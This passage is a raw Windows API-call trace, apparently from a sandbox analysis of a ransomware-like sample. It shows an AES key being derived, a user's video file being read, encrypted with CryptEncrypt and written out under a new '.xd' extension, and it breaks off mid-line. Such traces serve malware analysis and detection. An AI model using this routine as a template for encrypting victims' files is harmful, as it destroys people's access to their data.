PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.023] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0066.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621900, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0066.023] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0066.023] CryptDeriveKey (in: hProv=0x17a9df0, Algid=0x6610, hBaseData=0x164c8b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c330) returned 1 [0066.023] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.023] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.023] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.024] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.024] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.024] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.024] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0066.024] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0066.024] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0066.024] CryptDestroyHash (hHash=0x164c8b0) returned 1 [0066.024] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.025] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.025] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.025] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.025] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.025] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\sbflnmgclbwmzu60choe.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0066.025] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.025] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0066.025] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.025] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.025] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.027] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0066.027] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\sbflnmgclbwmzu60choe.avi.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0066.028] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.028] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.028] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.028] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.030] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0066.030] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0066.033] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x4207, lpOverlapped=0x0) returned 1 [0066.037] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0066.041] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.041] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.041] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.041] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0066.043] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.043] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.043] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0066.043] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.043] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0066.043] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.043] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.043] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.043] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0066.043] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0066.044] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0066.044] CryptGetKeyParam (in: hKey=0x164c330, dwParam=0x7, pbData=0x1629560, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629560*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0066.044] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.044] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.045] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.045] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.045] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.045] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.045] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.045] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.045] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.045] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.045] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.045] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.045] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.045] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.045] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.045] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.045] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.045] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.045] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.045] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.045] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.045] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.045] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.045] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.046] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.047] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.047] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x14207, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x14210) returned 1 [0066.047] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.047] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.047] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.047] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.047] CharLowerBuffW (in: lpsz="byte[82449]", cchLength=0xb | out: lpsz="byte[82449]") returned 0xb [0066.047] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.049] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.049] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.049] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.049] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.049] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.049] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e4d28*, pdwDataLen=0x130e618*=0x14207, dwBufLen=0x14210 | out: pbData=0x17e4d28*, pdwDataLen=0x130e618*=0x14210) returned 1 [0066.050] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.050] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.050] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.050] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.050] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.050] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.050] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.050] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.050] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.050] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.050] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.050] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.050] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.050] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.052] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.052] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.052] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.066] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.066] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.066] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.067] WriteFile (in: hFile=0x3bc, lpBuffer=0x1891228*, nNumberOfBytesToWrite=0x14210, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1891228*, lpNumberOfBytesWritten=0x130f01c*=0x14210, lpOverlapped=0x0) returned 1 [0066.069] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.069] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.069] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0066.069] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.069] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.070] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0066.070] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621588, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0066.070] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0066.070] CryptDestroyKey (hKey=0x164c330) returned 1 [0066.070] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.070] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.070] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.070] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.070] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.070] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.070] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.071] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.071] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.071] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0066.071] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.071] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.071] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.071] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.071] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.071] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.071] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.071] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: 